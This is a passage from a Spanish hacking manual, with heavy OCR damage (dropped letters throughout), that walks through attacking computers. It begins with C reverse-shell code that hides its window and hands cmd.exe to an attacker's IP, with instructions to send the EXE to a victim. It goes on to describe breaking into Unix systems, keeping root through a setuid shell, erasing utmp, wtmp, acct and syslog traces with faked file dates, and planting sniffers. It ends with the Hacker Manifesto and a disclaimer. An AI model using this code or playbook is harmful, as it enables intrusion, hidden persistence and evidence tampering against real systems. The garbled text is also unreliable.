#ncude <wnsock2.h>
#ncude <stdo.h>
#ncude <wndows.h>
#pragma comment(b,"ws2_32")
nt man(nt argc, char *argv||)
{
ShowWndow(GetForegroundWndow(),SW_HIDE);
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO s;
PROCESS_INFORMATION p;
struct sockaddr_n addr;
memset(&addr,0,szeof(addr));
memset(&s,0,szeof(s));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket =
WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
addr.sn_famy = AF_INET;
addr.sn_port = htons(PUERTO); //Atencn a esta nea, aqu va e puerto de conexn NetCat
addr.sn_addr.s_addr = net_addr("Aqu TU IP O DOMINIO NO-IP"); //Atencn, aqu va tu IP
connect(hSocket,(struct
sockaddr*)&addr,szeof(addr));
s.cb = szeof(s);
s.dwFags = STARTF_USESTDHANDLES;
s.hStdInput = s.hStdOutput =
s.hStdError = (vod *)hSocket;
CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&s,&p);
ExtProcess(0);
}
Est en C++ y hay que cambare un par de cosas. Hecho esto, o nco que hay que hacer es
comparo y hacer un EXE, para eo podemos usar DevC++ u otro compador. Envamos este
e|ecutabe, y ponemos a a escucha con e puerto que se haya puesto, y cuando a vctma o e|ecuta
ya tendremos una she nversa. Tambn podemos crear un BAT (archvos de procesos por otes), que
descargue e nc y haga a conexn. Hay muchas utdades por ah, por e|empo, esta:
http://venus.waagata.com/w/nc2k5/1401581.rar
198
La Hora de a Verdad
A a hora de hackear un sstema se pueden dstngur varos pasos dferencados.
1. Introducrse en e sstema que tengamos como ob|etvo.
2. Una vez consegudo e acceso, consegur prvegos de root (Super Usuaro).
3. Borrar nuestras hueas.
4. Poner un snffer para tener acceso a otros sstemas.
Paso 3 5 Entroducirse en el sistema
Los faos de segurdad que se aprovechan para consegur ntroducrse en e sstema estn basados
por o reguar en os protocoos TCP/IP, en servcos de red como e NFS o NIS o en os comandos "r"
de Unx.
Los protocoos basados en TCP/IP que se sueen aprovechar son Tenet, FTP, TFTP, SMTP, HTTP, etc.
Cada uno de eos tene sus propos agu|eros de segurdad que se van parcheando con nuevas
versones de estos protocoos, pero sempre aparecen nuevos bugs. Expcar cada uno de os
protocoos TCP/IP puede evarnos mucho tempo, as que paso a otra cosa.
0ervicios de red
NFS = Network Fe System
Es un servco de red por e cua varas mqunas centes comparten uno o varos drectoros que se
encuentran fscamente en una mquna amada servdor. Una mquna cente, a pesar de no poseer
fscamente dchos drectoros, puede montaros de ta forma que puede acceder a eos como s os
poseyera. Otra cosa muy dstnta es o que se pueda hacer con os archvos ncudos en dchos
drectoros (s se pueden borrar, modfcar, aterar os permsos, etc), o cua depende de a
confguracn de NFS.
En a maa confguracn de NFS es donde estrban sempre sus faos de segurdad.
NIS = Network Informaton Servce
Es un servco por e cua varas mqunas comparten varos "mapas". Los mapas son archvos como
passwd, hosts, etc. Por e|empo, un usuaro puede entrar con a msma cuenta en todas as mqunas
que compartan un msmo mapa de passwords. Los mapas son consutados por as mqunas centes
a as mqunas que contengan os mapas, que son os servdores.
Exste un programa amado YPX que srve para extraer estos mapas (ncudo e archvo passwd,
donde estn ncudas todas as passwords de os usuaros) de un servdor de NIS aunque a mquna
en a que estemos no sea una mquna cente.
omandos [r[
Son comandos excusvos de SO Unx. La "r" es de remote. En e sstema hay un archvo amado
+ost4e-uiv y cada usuaro suee tener en su drectoro home (que es e drectoro reservado a cada
usuaro para su propo uso de sstema) un archvo amado 4r+osts. Dependendo de a confguracn
de estos dos archvos se podr o no acceder a dcho computador desde otro sstema unx sn
necesdad de password con os comandos rlogin o rs+.
Aparte de estas formas bscas, exsten otras formas ms avanzadas de acceder a un sstema como
e IP Spoofng, faos de segurdad en e Web y e |ava, recompando breras de tenet, UUCP, etc.
199
Exsten dos formas bscas de ntroducrse en e sstema:
1 - Entrar drectamente sn necesdad de poseer una cuenta en e sstema ob|etvo. Por e|empo por
comandos "r" o por agn bug (aterar e archvo passwd de computador ob|etvo por rsh, aterar e
archvo .rhosts de agn usuaro por NFS, etc...desde uego hay formas ms avanzadas de consegur
esto).
2 - Consegur e archvo passwd de sstema ob|etvo y crackearo. E archvo passwd contene os
ogns de os usuaros y su correspondente password encrptadas (entre otras cosas). Para averguar
e password de cada usuaro se utza un programa crackeador (exsten varos, para unx e ms
famoso es e Crack, para MS-DOS estn e |ackCrack, Hades, Crack, BCrack, etc) que encrpta cada
paabra de un dcconaro y as compara con a cadena encrptada de archvo passwd, cuando as
cadenas encrptadas concden entonces a paabra de dcconaro que e programa ha encrptado en
ese momento es e password buscado.
Paso 8 5 onseguir &rivilegios de root una ve/ conseguido el acceso
En este caso, os faos de segurdad que expotaremos sern os de propo SO Unx, a dferenca de
cuando tenamos que ntroducrnos en e sstema, que expotbamos os agu|eros de segurdad de os
protocoos o servcos de red.
Nota: De todas formas, hay que tener en cuenta que aunque expotemos os bugs de os protocoos
TCP/IP, esto no sgnfca que estos bugs nos vayan a funconar con cuaquer SO. Ms ben a
contraro, estos bugs funconan cas excusvamente en e SO Unx pero en otros SOs como VMS o VM
no funconarn. Estos sstemas operatvos tendrn sus propos bugs respecto a os protocoos TCP/IP
(de os cuaes exste muy poca nformacn por no decr nnguna).
Una vez ntroducdos en e sstema, habr que consegur dos cosas:
onseguir &rivilegios de root4 Esto se puede consegur medante varos bugs dependendo de
tpo de Unx en e que nos estemos movendo (ax, sun, soars, hp-ux, etc...) y de cmo est
confgurado dcho sstema. Exsten varas fuentes de nformacn en Internet para conocer bugs,
agunas de esas fuentes se mtan a ndcar a exstenca de bug seaando e tpo de unx en e que
funcona y otras ncuso pubcan en a red programas para expotaros. Entre dchas fuentes de
nformacn (mang sts a mayora) estn e CERT, BUGTRAO, BoS, comp.securty.unx, at.2600 y un
argo etc.En genera os bugs se pueden casfcar en varas categoras, pero eso en todo caso o
menconar ms adeante, por ahora esto es un pequeo resumen.
<antener los &rivilegios de root4 Exsten dversas formas de mantener os prvegos de root, es
decr, asegurarnos de que a prxma vez que entremos a sstema con a cuenta de un usuaro que
posea prvegos normaes, podamos consegur prvegos de root de forma fc y sn compcacones.
Ouz a forma ms utzada de consegur esto sea e sush (set-ud-she) o tambn amado "huevo".
Consste en que, una vez acanzados os prvegos de root, copamos un she (e archvo /bn/sh) a
un drectoro pbco (en e que un usuaro norma pueda e|ecutar os archvos) y e cambamos e
nombre a que nosotros queramos. Nos aseguramos de que e she copado tenga como owner
(propetaro de archvo) a root y cambamos os permsos de archvo (con e comando chmod) con
as cfras 4755. Por ahora no hay que preocuparse de o que sgnfcan dchas cfras, pero a prmera
cfra, e 4, sgnfca que cuaquer usuaro que e|ecute dcho archvo o estar e|ecutando con os
prvegos de owner. Como en este caso e owner es e root y e archvo en cuestn es una she, e
sstema nos abrr un she con prvegos de root.
De esta forma, a prxma vez que accedamos a sstema con a cuenta de un usuaro norma, so
tendremos que cambarnos a drectoro donde hayamos copado e she, e|ecutaro y ya seremos root
sn as compcacones de tener que expotar un bug.
200
Los sushs tambn tenen sus nconvenentes, ya que pueden ser fcmente ocazados por os
admnstradores (medante e comando fnd, por e|empo) reveando nuestra presenca en e sstema.
Para evtar esto hay otras formas de mantener os prvegos en e sstema o de modfcar
geramente os sushs para que no puedan ser detectados tan fcmente.
Paso K 5 @orrar nuestras +uellas
Este paso es mportante, ya que de nada nos habr servdo habernos ntroducdo en e sstema y
haber consegudo e nve de root s a da sguente nos han cortado e acceso debdo a que hemos
de|ado hueas por todas partes.
E SO Unx guarda varos regstros (ogs) de as conexones de os usuaros a sstema. Exsten varos
archvos y comandos que ayudan a admnstrador a conocer todos os detaes acerca de as
conexones de os usuaros. Aparte de estos archvos y comandos, exsten dversas facdades y
apcacones que reazan un regstro contnuado y exhaustvo acerca de as actvdades de usuaro
dentro de sstema.
Arc+ivos:
(Cuando pongo dos drectoros sgnfca que e archvo puede estar en cuaquera de esos dos
drectoros).
utm&: Guarda un regstro (og) de os usuaros que estn utzando e sstema mentras estn
conectados a .
Drectoros: /var/adm/utmp /etc/utmp
Gtm&: Guarda un og cada vez que un usuaro se ntroduce en e sstema o sae de sstema.
Drectoros: /var/adm/wtmp /etc/wtmp
lastlog: Guarda un og de momento exacto en que un usuaro entr por tma vez.
Drectoro: /var/adm/astog
acct: Regstra todos os comandos e|ecutados por cada usuaro (aunque no regstra os argumentos
con que dchos comandos fueron e|ecutados).
Drectoro: /var/adm/acct
En agunos sstemas e archvo acct se puede amar &acct.
omandos:
G+o: Permte saber qun est conectado a sstema en e momento en que e|ecutamos e comando.
7inger: Lo msmo que e comando who, con e aaddo de que se puede apcar a otras mqunas. Es
decr, podemos saber qu usuaros estn conectados a una determnada mquna en e momento en
que e|ecutamos e comando.
users:
Igua que e who.
rusers: Igua que fnger, pero a mquna remota debe utzar e SO Unx.
Los comandos who, fnger, users y rusers toman a nformacn que sacan en pantaa de archvo
utmp.
last
Nos permte saber cuando fue a tma vez que se conect un usuaro. E comando ast toma a
nformacn que saca en pantaa de archvo wtmp.
201
&s: Permte saber qu procesos estn sendo e|ecutados por e sstema y que usuaros os e|ecutan.
E comando ps ofrece una nformacn mucho ms competa de qun est utzando e sstema
puesto que un usuaro que no aparezca en os archvos utmp o wtmp puede tener procesos
e|ecutndose, por o que e comando ps ofrecer a nformacn de qun est e|ecutando dchos
procesos. En contrapartda, a nformacn que ofrece e comando ps es ms compcada de
nterpretar que a nformacn ofrecda por e resto de comandos.
accton: Actva un proceso amado accountng, que es e que proporcona nformacn a archvo
acct.
lastcomm: Permte saber qu comandos han e|ecutado os usuaros.
acctcom: Igua que astcomm pero excusvamente para Unx de tpo SYSTEM V.
Los comandos astcomm y acctcom toman a nformacn que sacan por pantaa de archvo acct
(pacct en agunos sstemas.) Por o tanto, s queremos borrar nuestras hueas de sstema, bastar
con borrar cuaquer og reatvo a nuestro usuaro de os archvos utmp, wtmp y acct. Esto se puede
hacer de dos formas:
arc+ivos utm& ) Gtm&:
1 - No borramos os archvos pero os de|amos con cero bytes. So se utza como tmo recurso por
susctar muchas sospechas por parte de os admnstradores. Hay hackers que opnan que esto es
ncuso peor que no borrar os ogs.
2 - Los archvos utmp y wtmp no son archvos de texto, es decr, no se pueden edtar con un edtor de
textos. Sn embargo, exsten programas amados zappers (debdo a que e programa ms famoso de
este tpo se ama /a&) que pueden borrar os datos reatvos a un usuaro en partcuar de estos
archvos de|ando e resto de os datos reatvo a os dems usuaros ntacto.
arc+ivo acct:
Cuando e accountng est actvado (es decr, cuando e sstema recoge nformacn acerca de os
comandos e|ecutados en e archvo acct) es bastante compcado borrar nuestras hueas, de hecho
no se pueden borrar de todo, aunque s se pueden reducr a una mnma nformacn de nuestra
presenca en e sstema.
1 - Lo prmero que hacemos nada ms entrar en e sstema es copar e archvo acct a otro archvo y
o utmo que hacemos antes de abandonar e sstema es copar dcho archvo de nuevo a acct, de
modo que os comandos que hemos e|ecutado durante a sesn no aparecen en e archvo acct.
Problema: Nuestra entrada en e sstema queda regstrada, as como as dos copas.
2 - De|amos e archvo acct a cero bytes. Como antes, esto es bastante sospechoso para un
admnstrador, adems, agunos sstemas reacconan ma y paran e proceso de accountng, para no
evantar sospechas habra que reactvaro con e comando accton.
Problema: Bastante sospechoso. E propo comando accton quedara regstrado como e|ecutado por
nuestro usuaro.
3 - Hacerse un edtor para e archvo acct que borrara os datos correspondentes a nuestro usuaro y
de|ara ntactos os datos reatvos a resto de os usuaros. Exsten unos pocos programas que hacen
esto.
Problema: La e|ecucn de programa edtor que borra nuestras hueas quedara regstrado como
e|ecutado por nuestro usuaro.
Afortunadamente, no hay muchos sstemas que tengan actvado e accountng debdo a a cantdad
de capacdad que es necesara para guardar os comandos e|ecutados por cada usuaro.
202
Aparte de os archvos utmp, wtmp, acct y astog, hay que tener en cuenta otras facdades y
apcacones que posee e SO Unx que permten a admnstrador vgar certos aspectos crtcos
reatvos a a segurdad y a mantenmento de sstema.
0)slog
Sysog es una apcacn que vene con e SO Unx. E SO Unx se puede confgurar de ta forma que
determnados programas, procesos o apcacones generen mensa|es que son envados a
determnados archvos donde quedan regstrados dchos mensa|es. Estos mensa|es son generados
cuando se dan unas determnadas condcones, ya sean condcones reatvas a segurdad,
mantenmento o smpemente de tpo puramente nformatvo. Para consegur esto hay que
confgurar varas cosas:

A - Decdr qu programas, procesos y apcacones pueden generar mensa|es. (Pongo os prncpaes)
kern: mensa|es reatvos a kerne.
user: mensa|es reatvos a procesos e|ecutados por usuaros normaes.
ma: mensa|es reatvos a sstema de correo.
pr: mensa|es reatvos a mpresoras.
auth: mensa|es reatvos a programas y procesos de autentfcacn (aqueos en os que estn
nvoucrados nombres de usuaros y passwords, por e|empo ogn, su, getty, etc).
daemon: mensa|es reatvos a otros demonos de sstema.
B - Decdr qu tpos de mensa|es pueden generar cada uno de esos programas, procesos o
apcacones.
emerg: emergencas graves.
aert: probemas que deben ser souconados con urgenca.
crt: errores crtcos.
err: errores ordnaros.
warnng: avsos.
notce: cuando se da una condcn que no consttuye un error pero a a que se e debe dar una
certa atencn.
nfo: mensa|es nformatvos.
C - Decdr a qu archvos van a parar dchos mensa|es dependendo de tpo a que pertenezca e
mensa|e correspondente. Sysog cumpe su funcn medante e sysogd (sysog daemon o en
casteano e demono sysog).
E sysogd ee su confguracn de archvo /etc/sysog.conf. Dcho archvo contene a confguracn
reatva a qu eventos de sstema son regstrados y en qu archvos son regstrados. Los archvos a
os cuaes se mandan os regstros (ogs) pueden estar stuados en a msma mquna en a que
estamos traba|ando o en otra mquna de a red.
'mo borrar las +uellas relativas al s)slog: Ben, nuestras andanzas por e sstema cuando
hemos acceddo a y cuando nos hemos convertdo en root, pueden generar dversos mensa|es
regstrados por e sysogd y guardados en os archvos ndcados en e 2etc2s)slog4con7
A dferenca de os archvos utmp, wtmp, acct y astog, os archvos en os que se guardan os
regstros de sysog s se pueden edtar con un edtor de textos.
Para poder borrar estas hueas necestamos tener prvegos de root, naturamente. Bastar con
examnar e archvo /etc/sysog.conf para saber os archvos que guardan os regstros de sysog.
Despus mraremos cada uno de esos archvos comprobando que no hay nngn mensa|e reatvo a
nuestra ntrusn en e sstema (os mensa|es de esto "ogn: root LOGIN REFUSED on ttya" a certas
horas de a noche son bastante sospechosos).
203
En caso de que o haya, o borramos y cambamos a fecha de archvo con e comando touch de
forma que concda a fecha de tmo mensa|e (despus de haber borrado nuestras hueas) con a
fecha de archvo. S no o hacemos as, agn admnstrador demasado suspcaz puede comprobar
que as fechas no concden y deducr que aguen ha modfcado e archvo (esta es una precaucn
extrema pero a recomendo por experenca). S es necesaro, y soo s es necesaro, habra que
cambar a fecha de os drectoros en os que estn ncudos os archvos que guardan os ogs.
S en e archvo /etc/sysog.conf hay mensa|es que se destnan a /dev/consoe eso sgnfca que os
mensa|es (ya sean de error, aerta o emergenca) saen drectamente en a pantaa de root (o sea, en
a consoa). En este caso no se puede hacer nada (que yo sepa), pero mensa|es de este tpo sueen
estar generados por aertas bastante graves como por e|empo ntentar acceder con a cuenta de root
drectamente o utzar e comando su para ntentar convertrse en root, etc. Es decr, cuanto ms
sgosos seamos a a hora de hacernos root y menos rudo armemos ms posbdades tendremos de
no aparecer en este tpo de ogs.
TP5.ra&&er
Se trata de una apcacn que proporcona una sere de mecansmos para e regstro (oggng) y ftro
(fterng) de aqueos servcos nvocados o amados a travs de netd (nternet daemon). Con esta
herramenta e admnstrador posee un contro absouto de as conexones haca y desde su mquna.
Puede, entre otras muchas cosas, ftrar un servco de nternet como por e|empo e tenet, ftp, etc de
forma que nade pueda conectarse a sstema desde otra mquna o puede especfcar una sta de
mqunas que s pueden conectarse (y as dems no podrn). Adems, e admnstrador es nformado
en todo momento y con todo u|o de detaes de as conexones que se han hecho desde su mquna y
haca su mquna con cuaquera de os dferentes servcos de nternet (tenet, ftp, fnger, etc...)
Como en e sysog, para borrar nuestras hueas de tcp-wrapper, tendremos que buscar posbes
hueas mrando e archvo de confguracn (ao|ado normamente en e drectoro /etc), borrar dchas
hueas y cambar as fechas de os archvos correspondentes.
Ben, hemos vsto hasta aqu un resumen sobre cmo borrar nuestras hueas. Nos hemos extenddo
un poco en este tema, porque es crtco que a gente adquera concenca de que a mportanca
radca, ms que en controar e sstema (convertrse en root), en saber ocutarse en (aunque es
una opnn persona).
Podra parecernos bastante pesado e borrar todas as posbes hueas que hayamos de|ado en e
sstema ob|etvo, pero en agunas ocasones, una vez que hayamos vsto os archvos de
confguracn es posbe preparar un s+ell scri&t (equvaente a os archvos batch, que tenen
extensn 4bat en MS-DOS, aunque a programacn en she es nfntamente ms potente) que haga
todo e traba|o por nosotros en cuestn de borrar as hueas.
Exsten en Internet dversos tutoraes y manuaes para aprender a programar scrpts. Cuando
haamos creado, o ba|ado de a red uno, o podemos de|ar ben camufado en e sstema para que a
sguente vez que entremos o podamos e|ecutar (utzando como parmetros e usuaro con e que
hayamos entrado, e termna por e que hayamos entrado, a hora a a que hayamos entrado, etc..)
esto nos ahorrar todo e traba|o pesado.
Para termnar, debemos tener sempre en mente que, aunque seamos perfectamente nvsbes en e
sstema, cuaquer usuaro que est conectado a msmo tempo que nosotros podra detectarnos
vendo e termna por e que hemos entrado.
E archvo 2dev2 correspondente a nuestro termna tendra como propetaro (owner) a usuaro con
e que hemos entrado en e sstema, adems, a fecha de archvo /dev/ correspondente a termna
tambn nos deatara.
204
Una forma de evtar sera que tendramos que cambar de owner e archvo correspondente a
termna (tenendo prvegos de root naturamente) a owner que tengan os otros termnaes a os
cuaes no hay nade conectado (es decr, a owner de os termnaes por defecto que normamente es
e root). De todas formas, esto tmo, |unto con o de cambar de fecha certos archvos de ogs, son
meddas quz extremas, pero vuevo a nsstr que son muy recomendabes.
Por tmo, a cuestn de ocutar o camufar procesos mentras os estamos e|ecutando es otra
cuestn que se tratar en otro mensa|e s tenes a pacenca de segur.
Ya hemos vsto de forma resumda y sn detaar agunas tcncas sobre cmo consegur acceso,
consegur prvegos y borrar nuestras hueas. Vamos a ver e tmo paso, cmo consegur acceso a
otros PCs una vez controado e host que hayamos hackeado (es decr, despus de asegurarnos que
hemos borrado absoutamente todas nuestras hueas y de mpantar agn sush u otro mtodo
anogo para consegur prvegos de root).
Una vez controado e host que tenamos como ob|etvo, podemos hacer todo o que queramos en e
sstema, aunque hay que tener en cuenta que nuestras accones pueden ser regstradas por e sysog,
tcp-wrapper u otra utdad que genere ogs, por o que cuando vayamos a rnos de sstema sempre
tendremos que comprobar antes que no hemos de|ado regstros (ogs).
Paso L 5 Poner un sni77er &ara tener acceso a otros sistemas
Ben, para consegur acceso a otros sstemas desde e host que hemos hackeado exsten varas
tcncas. La ms senca y a prmera que se suee probar es consutando os archvos .rhosts de os
usuaros e ntentando acceder a os sstemas ncudos en dchos archvos medante rogn o rsh.
Tambn se puede ntentar acceder a otros sstemas de a red con os comandos "r" aunque no estn
ncudos en os archvos .rhosts o en e archvo host.equv.
Hay varas formas ms o menos sofstcadas que nos permtan consegur nformacn desde e
sstema en e que nos encontramos y que nos permta acceder a otros sstemas de a red. Ouz e
mtodo ms famoso y ms efcente sea a coocacn de un snffer.
205
Conse|os Fnaes
1 -En e caso de que se consga aguna cuenta para acceder a a computadora, es posbe que no
sepamos muy ben cmo podremos reacconar, o qu hacer a contnuacn. Es en este momento
donde toma mportanca a organzacn que menconamos a nco de este documento.
En nngn momento debe uno ponerse nervoso o ntentar cosas a tontas y ocas. S se empeza a
sentr que se perde a cama, o me|or es apartarse de a pantaa dez o qunce mnutos, rea|arse, y
despus ntentar haar un camno para consegur prvegos.
Para ntentar consegur prvegos de root es fundamenta ante todo que hagamos una dstncn de
os bugs que podemos ntentar expotar y aqueos que os que no debemos ntentaro (debdo a que
s son bugs de otro SO Unx dstnto a aque en que estamos operando, no servrn de nada), por eso
se aconse|a a dstrbucn en drectoros de os bugs segn e sstema o protocoo a que afecten.
Esta organzacn nos evtar prddas de tempo vaoso (con o que aumenta a mpacenca de
hacker prncpante) y ayudar a dferencar as tcncas de hackng que se pueden ntentar de
aqueas que no debemos n squera pensar en apcar.
A a hora de ntentar expotar agn bug reatvo a sstema que estemos hackeando, tambn es
mportante tener os expots ben organzados y convenentemente edtados (muchas veces os
expots venen mezcados en mensa|es de texto) para que o nco que tengamos que hacer sea
subros por FTP a sstema y e|ecutaros (y comparos s no fueran she scrpts).
2 -En caso de que no funcone nngn bug en e sstema de os que tenemos, ante todo mucha cama.
Importante: En este caso, o que debemos buscar es de|ar as menos hueas posbes en e sstema.
Las hueas que hemos de|ado hasta e momento no podremos borraras s no sabemos como hacero,
as que debemos esperar a que e admnstrador no se d cuenta de as ntrusones (tanto en e utmp,
wtmp o os ogs de sysog).
No debemos ntentar hacer as cosas a o oco, como expotar bugs que funconan en otros sstemas
porque o nco que conseguremos ser de|ar ms hueas y perder e tempo.
Lo que s se puede hacer es ntentar expotar bugs que afecten a os sstemas Unx en genera (hay
agunos) o bugs que afecten a aguno de os protocoos TCP/IP. S sguen sn funconar nnguno,
podremos dedcarnos a exporar e sstema (hasta donde permtan os prvegos) para tener una
vsn genera de cmo est protegdo e sstema (por e|empo vendo s os usuaros tenen archvos
.rhosts, s determnados archvos tenen permsos set-ud, que propetaro tenen determnados
archvos, etc...), y a partr de ah tenemos dos opcones prncpaes (puede haber ms, pero yo
sempre utzo una de estas dos):
I - Ovdarse durante unos 2 das de sstema que ntentamos hackear y aprender todo o que
podamos sobre e SO Unx que utza esa mquna, ya sea buscando bugs ms modernos que srvan
para a versn de sstema que ntentamos hackear como examnando FAOs, documentos o pgnas
htm que traten sobre dcho sstema en genera y su segurdad en partcuar, etc...
II - Hackear otra mquna de msmo domno y que sea ms fc de penetrar, es decr, que sea
mucho ms nsegura. Exsten sstemas ms "fces" o "nseguros" que otros debdo a que se conocen
ms bugs sobre eos. Seguramente e SunOS 4.1.x sea e sstema de que se conocen ms bugs. Este
mtodo suee ser e ms utzado cuando una mquna se nos resste debdo a que exsten ms
recursos a hackear una mquna (con tcncas que permten consegur prvegos de root a a vez
que consegumos entrar en dcha mquna) desde una mquna de su msmo domno, que desde una
mquna que no pertenezca a su domno.
206
3 - Cuando no consegumos acceder a una computadora que pretendemos hackear, e recurso que
ms se suee utzar es e que hemos comentado antes. Se trata de hackear otra mquna de msmo
domno que sea ms nsegura y desde esa mquna hackear a mquna que nos hemos puesto por
ob|etvo.
I - La forma ms senca es poner un snffer en a mquna nsegura que hemos hackeado esperando
consegur una cuenta de a mquna ob|etvo que pretendemos hackear.
II - Como se mencon anterormente, exsten muchos ms recursos para hackear una mquna desde
otra mquna de su msmo domno de os que se pueden utzar a tratar de hackeara desde una
mquna que no es de su propo domno. Por e|empo aprovechando os archvos .rhosts medante os
comandos rogn o rsh, comprobando s a mquna ob|etvo exporta drectoros a a mquna que
hemos hackeado, etc...
Para termnar, un par de conse|os para determnadas stuacones que se aprenden a resoveras a
base de prctca, prctca y ms prctca.
4 - Nunca debemos tener medo de ntentar hacer cosas dentro de sstema. No debemos pensar que
seremos atrapados y que nos van a cerrar e acceso.
S nos atrapan y cerran e acceso, pues maa suerte, eso forma parte de aprendza|e. Smpemente
nos vamos a e|ercer e Ofco a otro sstema y se acab (ncuso puede ser otro sstema de msmo
domno), pero sempre hay que expermentar, ntentar as cosas, no mtarnos a eeras en un pape.
Una cosa es seguro, nos descubrrn muchas veces y nos cerrarn e acceso otras tantas, pero cada
vez aprenderemos ms, nos espabaremos y poco a poco o remos hacendo me|or. Los errores
cometdos una o dos veces, ms adeante no voveremos a cometeros. En defntva: sempre puede
dar un poco angusta e que nos cerren e acceso a aguna computadora a a que ya habamos
consegudo entrar.
5 - Muchas veces ntentaremos compar un programa para expotar agn bug y dar errores cuando
se supone que deba compar correctamente. Depurar os programas tambn forma parte de as
abores de hacker. Con a prctca se aprender a reconocer porqu ta o cua cdgo fuente no
compa correctamente.
Cuaquer persona eer un montn de documentos sobre hackng como este, pero s queres aprender
a hackear de verdad o me|or es a prctca y ponerse manos a a obra cuanto antes, y que uno se
converta en su propo profesor.
Y qun sabe... quz te puedas poner un poco fanfarrn y escrbas un documento como ste.
207
Manfesto Hacker
Este manfesto o escrb un su|eto que se hzo amar E Mentor. Aunque se encuentra un poco fuera
de ugar y desfasado, encerra mucho de a cutura que se comenz a fraguar en aqueos aos
cuando e Internet ncaba su camno a a popuarzacn y que termn sendo masvo a medados de
os noventa. Una parte de este escrto se mencona en a pecua Hackers.
Hoy han atrapado a otro, aparece en todos os perdcos. "|oven detendo por deto nformtco", "hacker
arrestado por rrumpr en sstema bancaro".
"Madtos chquos, son todos guaes"
Pero pueden, con su pscooga barata y su cerebro de os aos cncuenta, squera echar un vstazo a o que
exste detrs de os o|os de un hacker? Se han parado aguna vez a pensar qu es o que es hace comportarse
as, qu es ha convertdo en o que son? Yo soy un hacker, entra en m mundo. M mundo comenza en a
escuea. Soy ms sto que e resto de ms compaeros, o que ensean me aburre sobremanera.
"Madtos profesores. Son todos guaes". Puedo estar en a escuea o en un nsttuto. Les he odo expcar centos
de veces cmo es que se reducen as fraccones. Todo eso ya o entendo. "No, Sr. Smth, no tengo e traba|o en
pape. Lo tengo guardado dentro de m cabeza".
"Madtos chquos. Seguro que o ha copado. Son todos guaes".
Hoy he descuberto ago. Una computadora. Esto es bueno. Hace o que yo quero que haga. S comete errores,
es porque yo e he dcho que o haga. No porque yo no e agrade, me tenga medo, pense que soy un sto o no
e guste n ensear n estar aqu.
Madtos chquos. A todo o que se dedcan es a |ugar. Son todos guaes. Entonces ocurre ago... se abre una
puerta a un nuevo mundo... todo a travs de a nea teefnca, como a herona abrndose paso en e nteror
de as venas, se emana un puso eectrnco, buscaba un refugo ante as ncompetencas de todos os das... y
me encuentro con un tecado.
"Es esto... aqu es a donde pertenezco...". Conozco a todo e mundo... aunque |ams me haya cruzado con eos,
es drgese a paabra o escuchado su voz... os conozco a todos... madtos chquos. Ya est enganchado otra
vez a tefono.
Son todos guaes... puedes apostar o que queras a que son todos guaes... es das a mano y se toman e
brazo... y se que|an de que se o damos todo tan mastcado que cuando o recben ya n squera tene sabor. O
nos gobernan os sdcos o nos gnoran os aptcos. Aqueos que tenen ago que ensear buscan
desesperadamente aumnos que deseen aprender, pero es como querer encontrar una agu|a en un pa|ar.
Este mundo es nuestro... e mundo de os eectrones y os nterruptores, a beeza de baudo. Utzamos un
servco que ya exste, sn pagar por esto que podra haber sdo ms barato s no fuese por os especuadores. Y
nos aman a nosotros dencuentes. Buscamos ampar nuestros conocmentos... y nos aman dencuentes.
Nosotros no dferencamos e coor de a pe, n a naconadad, n a regn... y ustedes nos aman
dencuentes. Construyen bombas atmcas, hacen a guerra, asesnan, estafan a pas y nos menten tratando de
hacernos creer que son buenos, y an as nos tratan de dencuentes.
S, soy un dencuente. M deto es a curosdad. M deto es |uzgar a a gente por o que dce y por o que
pensa, no por o que parece. M deto es ser ms ntegente que ustedes, ago que nunca me perdonarn. Soy
un hacker, y ste es m manfesto. Podrn emnar a agunos de nosotros, pero no a todos... despus de todo,
somos todos guaes.
2he 3entor BC6B%6%DCE
208
Pala'ras (inales
BtzKreg es farmacogo de profesn retrado y un entusasta nteresado, mas no practcante de
tempo competo de a segurdad nformtca. Ha escrto dversos artcuos farmacogcos para a
Wkpeda en espao con e seudnmo de StormBrnger. Labor en compaas como Roche y
Novarts en a fuerza de ventas y su nters en as computadoras data desde 1986, fecha en que
entr a estudar en Datamex de Norte. Actuamente abora en una compaa de Teemarketng que
da servco a centes atnos de empresas estadoundenses.
Su prmera ncursn en e mundo de os hackers fue en 1999 cuando entr a Mrc y vo abrrse una
puerta ggantezca de posbdades. Su prmer ataque fue contra una pgna web dedcada a a
pornografa nfant utzando un DDoS y su tmo ataque mportante fue tumbar e sstema de
cmputo de una amer que vandaz una wk persona hacendo uso de NetCat y e Nmap (ambas
para Lnux) como herramentas y empeando a tcnca decoy scans. Cosas que promet |ams
vover a hacer.
Agunos de os artcuos presentados son traduccones fees de documentos creados por hackers
expertos y profesonaes en segurdad nformtca. La mayora de os e|erccos fueron probados y
comprobados en WnXP y Lnux empeando una red domstca a base de computadoras personaes
genrcas marca Aaska.
Disclaimer =Benuncia de res&onsabilidad>
Este documento, cuya creacn tard cas dos aos traba|ando en tempos de oco, es de dstrbucn
bre y BtzKreg no saca gananca monetara n pde retrbucn por a pubcacn de este
documento. Con a consgna de que todo conocimiento humano pertenece a todos, se bera a a
comundad de Internet que est nteresada en a matera. Esta obra puede descargarse, coparse,
mprmrse e ncusve me|orarse bremente sn nngn tpo de restrccn.
Como se mencona en e progo, Yo, BtzKreg, no me hago responsabe de ma uso que se d a a
nformacn aqu expuesta ya que su pubcacn tene como ob|etvo ser nformatva, ddctca o
ncusve, de entretenmento. Este es un documento de dvugacn, as de smpe. Me desgo
totamente de as accones perpetradas por cuaquer persona que utce a nformacn contenda en
este documento con fnes ctos.
As msmo, no se me puede hacer responsabe por daos a equpos a|enos o propos que sucedan
durante a e|ecucn de os e|erccos presentados. Todo se hace ba|o a responsabdad de quen ee
este documento y de nade ms.
Personas a&reciadas
Las personas que sempre estuveron en m mente cuando se gestaba este documento ncuyen:
Martha "Marthux" Lozano, Eduardo "E Santtos" Santos, Aex Chavez y por tmo, pero no menos
mportante, Marana "Maranta" Lpez, aunque quz no o sepa o recuerde, fue quen d e mpuso
fna para termnar con m boqueo menta y con sus paabras me anm a fnazar con a tarea.
Este documento fue creado con OpenOffce 2.2.0 (www.openoffce.org) y convertdo a documento
PDF. Hecho en e Sstema Operatvo Freespre 2.0 de Lnux (http://www.freespre.org/downoad).
Atentamente
BlitzKrieg
Agosto 2007 Enero 2009
209
Re)erencias
1. Hackers y Segurdad Informtca, Hack Paso a paso; compemento de a revsta @rroba.
